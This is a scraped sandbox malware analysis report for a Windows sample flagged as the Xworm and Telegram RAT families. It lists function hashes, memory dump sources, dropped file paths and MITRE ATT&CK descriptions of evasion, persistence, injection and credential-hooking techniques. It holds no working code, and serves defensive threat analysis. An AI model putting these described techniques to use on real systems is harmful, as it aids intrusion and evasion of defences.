Opcode Fuzzy Hash: a689f54b238b8cb542dd34b68bb37b4461bb7f5047a08c7ca6c0c3fb2e1acf7b
Instruction Fuzzy Hash: DE412971A09A49CFEB48FB78C4652F97BE1EF4A300B04017ED04FD76D6CE2998498781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC2551E8 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7ba905f69482a52cae12f36fb30247fbbb0d397959a466534f05087c77fba8
Instruction ID: 12f36f19bb5fabe47cfce3345a9ae38558857f4dc85dcd55d018d8a2208db159
Opcode Fuzzy Hash: 0a7ba905f69482a52cae12f36fb30247fbbb0d397959a466534f05087c77fba8
Instruction Fuzzy Hash: 74311361B19E4E8FFB98E76C94557B526C1EF98210B0481BAA04EC73A6DC19EC4947C0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24FA28 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fe36ad1df348b461b2ff2485a38b0a2eeda86fd32d27b6857f118498127539e
Instruction ID: 06ab56008f1e7db7a82c2886d8107107c8fedf628691fbbb47b3963fc08bbfc5
Opcode Fuzzy Hash: 5fe36ad1df348b461b2ff2485a38b0a2eeda86fd32d27b6857f118498127539e
Instruction Fuzzy Hash: D6311861B19E4E8FF7D8E76C945977526C1EF98210B0481BEE04EC73A6DC19EC4947C0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC2565F9 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e282a79f816ca47414198422dc3624b5d86a8bb78aec4457af8c4e5ac442c9c7
Instruction ID: 174ac2fd2ddc4cf6f153d88af04afa4345cba631dfa72469ec6f380e63da21fa
Opcode Fuzzy Hash: e282a79f816ca47414198422dc3624b5d86a8bb78aec4457af8c4e5ac442c9c7
Instruction Fuzzy Hash: 7F41F752A0DAC94FF399927C485A7666BD1DF9A650F4842FED18DCB3E7DC0C5C0A4381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24A234 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8db0a64f9fd4d21744105a30a09f12c32fa8bfacd4e33d1eba01b38279def8f
Instruction ID: 810ac71332daf118a1370b89a48710285ac3dd75b9e15d4e1ef32b89b7d453a3
Opcode Fuzzy Hash: a8db0a64f9fd4d21744105a30a09f12c32fa8bfacd4e33d1eba01b38279def8f
Instruction Fuzzy Hash: AB31A730B59A4A8FEB59FB7884612B8B792EF8A210B0441BED04FD76D7CE2DA4058740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC25965D Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d2094957e9c841767be5a7a8f061e01387645370eb5034cdbce12ba645130e5
Instruction ID: ad371408487f6ee89c5f57a9e4e5eb0df7af24fbf515d102d1e8ba33ebe9f4ae
Opcode Fuzzy Hash: 4d2094957e9c841767be5a7a8f061e01387645370eb5034cdbce12ba645130e5
Instruction Fuzzy Hash: 9F31D231A0A9198FFB58BB18D4546BA37D1EF8A301B1540BED44EC729ADD29EC4B87D0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24A1BD Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb1eb6894c9c8d5b7599daa936ff4027d78829338fe13fd9c99020d83f9bfb4
Instruction ID: 21db503ebbfafffd0cecde96dfbb289af4028493b1ba014b846e7ad86bf864e6
Opcode Fuzzy Hash: aeb1eb6894c9c8d5b7599daa936ff4027d78829338fe13fd9c99020d83f9bfb4
Instruction Fuzzy Hash: 4821257190E789CFE745F77898192B53BE1EF4A311B0841B6E04DDB2A2DA28DC4D8791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC249DF8 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77b7eb11ed2fabadb10a8c42d52e74e1119d04158717537034a6afbc8c641c5b
Instruction ID: 4a2614461d03a9881af8ea06568b701699043f24be7d01647bf76aed63f7a6ba
Opcode Fuzzy Hash: 77b7eb11ed2fabadb10a8c42d52e74e1119d04158717537034a6afbc8c641c5b
Instruction Fuzzy Hash: 7021E570A1EA898FD755E77888652BEBBD0EF4A210B0442BFD04ED77E2CA1854098381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC25A2B9 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4278d2581d879be7747a92c5a637cc43ed949110a187f48aeeb924c1b0be914
Instruction ID: 5b5ca2088b79c13206cb11206a05b5f27809a3946192e00f69b642fe5c438a90
Opcode Fuzzy Hash: a4278d2581d879be7747a92c5a637cc43ed949110a187f48aeeb924c1b0be914
Instruction Fuzzy Hash: 2621C22190CA498FF340FB28C4096B6B7D0EF99314F5445BED44CD72A2DE1DE98A8381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24D1A7 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee783efe916fcf2280cf66fd89e3d4b39608a856079738cf42590619feb7c80d
Instruction ID: 2f96637d420a5cb0a02ec95e4a6d919ab1fc57629452d5ba1f426dda6c111236
Opcode Fuzzy Hash: ee783efe916fcf2280cf66fd89e3d4b39608a856079738cf42590619feb7c80d
Instruction Fuzzy Hash: 0F1196227084168AE758FF68E491AF67351EF95324B14C1B5D44DCE3ABC929F88AC7D0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC249949 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c048049c81a70d422e487d7128e65a7571784c361b2af1002309e0c3a64884
Instruction ID: 9ed260dcbb40cef000fcea8afa626a09bd7e181cf8f82d3225d23eeae1d08fe5
Opcode Fuzzy Hash: d6c048049c81a70d422e487d7128e65a7571784c361b2af1002309e0c3a64884
Instruction Fuzzy Hash: 1311E532B09A484FD744EB7C58491E9BBD1DF8A210B0882BBD40DC736AED69980A43C2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC249979 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93605fd2a49581e06a98d6f6d8822f0481869f0b2bcb5d2be799eea5e4c49033
Instruction ID: 2393abac0bd3f24cba1ce559382e597d7cafb0d40437f716bfeb8a83f594515d
Opcode Fuzzy Hash: 93605fd2a49581e06a98d6f6d8822f0481869f0b2bcb5d2be799eea5e4c49033
Instruction Fuzzy Hash: 9401C46160EB894FD346DB6C58541A57BE1DFCA21070942FBD44DC726BD9589C0A8392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC25A949 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ddb11531ec4af13997875bed2052e753a41168ae07e06bbb38a10ddcae93373
Instruction ID: a492afbd72c3855d183443ea874f8ff6b3b03667a0c7571ff61de480b3a04d05
Opcode Fuzzy Hash: 4ddb11531ec4af13997875bed2052e753a41168ae07e06bbb38a10ddcae93373
Instruction Fuzzy Hash: 6401B962B0C51ACBF60CEA6C485717572C6DB59310F05827ED84EC73D7ED28DC5A46C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC249EB0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26608c5b7ff7e70a2b3dc4acb99cd392890c2bcc33fea4b98a103f143ea8a150
Instruction ID: 81460d8fc762071d3a82d410f31d5c012dfca7b2cbfe60c239e1806d3e2f2454
Opcode Fuzzy Hash: 26608c5b7ff7e70a2b3dc4acb99cd392890c2bcc33fea4b98a103f143ea8a150
Instruction Fuzzy Hash: B2F0A035658E0D8F86B5EB2CD444A6373E1EBA8321355467AE48FC3668DE29FC468780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24A169 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9785091bb7fa08ca28ac78f3fb03ebfc0ea6777f86951437276c83f6c847fd6
Instruction ID: 196eba328e0c7caabd5561780932df17dbde8f0b23ebc140f969aa6217fae682
Opcode Fuzzy Hash: e9785091bb7fa08ca28ac78f3fb03ebfc0ea6777f86951437276c83f6c847fd6
Instruction Fuzzy Hash: A5F0E231A0EA888FCB45B73C98591983BE0EF4A22174941F6E00CCB2A3DD28DC098381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC25B23D Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e21832cd5ba875a823446806c9c89ae4583624434860fe60c5bf3c7e0d416b48
Instruction ID: 2cbd70666309d413844af991d4260f05f5ca3f5bdde123861bac166eefb3b234
Opcode Fuzzy Hash: e21832cd5ba875a823446806c9c89ae4583624434860fe60c5bf3c7e0d416b48
Instruction Fuzzy Hash: DCF0F622B0C60E4BEB68EA6884918BA3382DB95310B04873EC10BC67D9EC28F4494280

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24A180 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 748f2ddee26f719cc12eb7dd8593de6bdbebef9bef5c2cf395dcfbf0caddb0fb
Instruction ID: 1f8341d72ba3919c3193d30cf37acf7b6412735cda316148b5e21fb5ff64c0bb
Opcode Fuzzy Hash: 748f2ddee26f719cc12eb7dd8593de6bdbebef9bef5c2cf395dcfbf0caddb0fb
Instruction Fuzzy Hash: CFE04F30B59D088FDA58B37CE8095A832D5DF8E32274445B5E40DC73AADC69DC458380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24B168 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 158008a6d6f32a6d783468a0b8c5b0c3391db8a259b59654f6c8323d7567f4a5
Instruction ID: d41c4d97d5ca8a06a3ca2f3ef3730a21084828a66f786881aba2514b303c61ad
Opcode Fuzzy Hash: 158008a6d6f32a6d783468a0b8c5b0c3391db8a259b59654f6c8323d7567f4a5
Instruction Fuzzy Hash: 52D02B3041F5854FD71A6B3404640993BD09F07110B9848FED4885B357C53D904E4341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC25A9F2 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43f164e4f3314969688f8729a29f61dbffe4c7465992a0dea08b8a1051f11d10
Instruction ID: 199ebf6a15b17d5b3726c9b274321f1ad466d7c6e52def2014f27316c73fc55d
Opcode Fuzzy Hash: 43f164e4f3314969688f8729a29f61dbffe4c7465992a0dea08b8a1051f11d10
Instruction Fuzzy Hash: 58C08036F4A119CFB319F624015313554475BCA240725D07D840DAA395CC3CD80F56C1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Threatname: Telegram RAT

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Malware Analysis System Evasion

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Bitcoin Miner

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_0WDZX0ZOOI1PRRIF_df62f32ee59d7ca897a8574ee9a18acb4a2a97_0c92175c_394f91dc-ad3c-4d96-9ece-ab7189c2220a\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_hgzxhw.exe_b7faaa96a846ed7b3f62e65dfab6c1e486782f_1d9feab2_19c46456-23aa-4aef-ace5-ed965f2d70af\Report.wer

Windows Analysis Report
SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

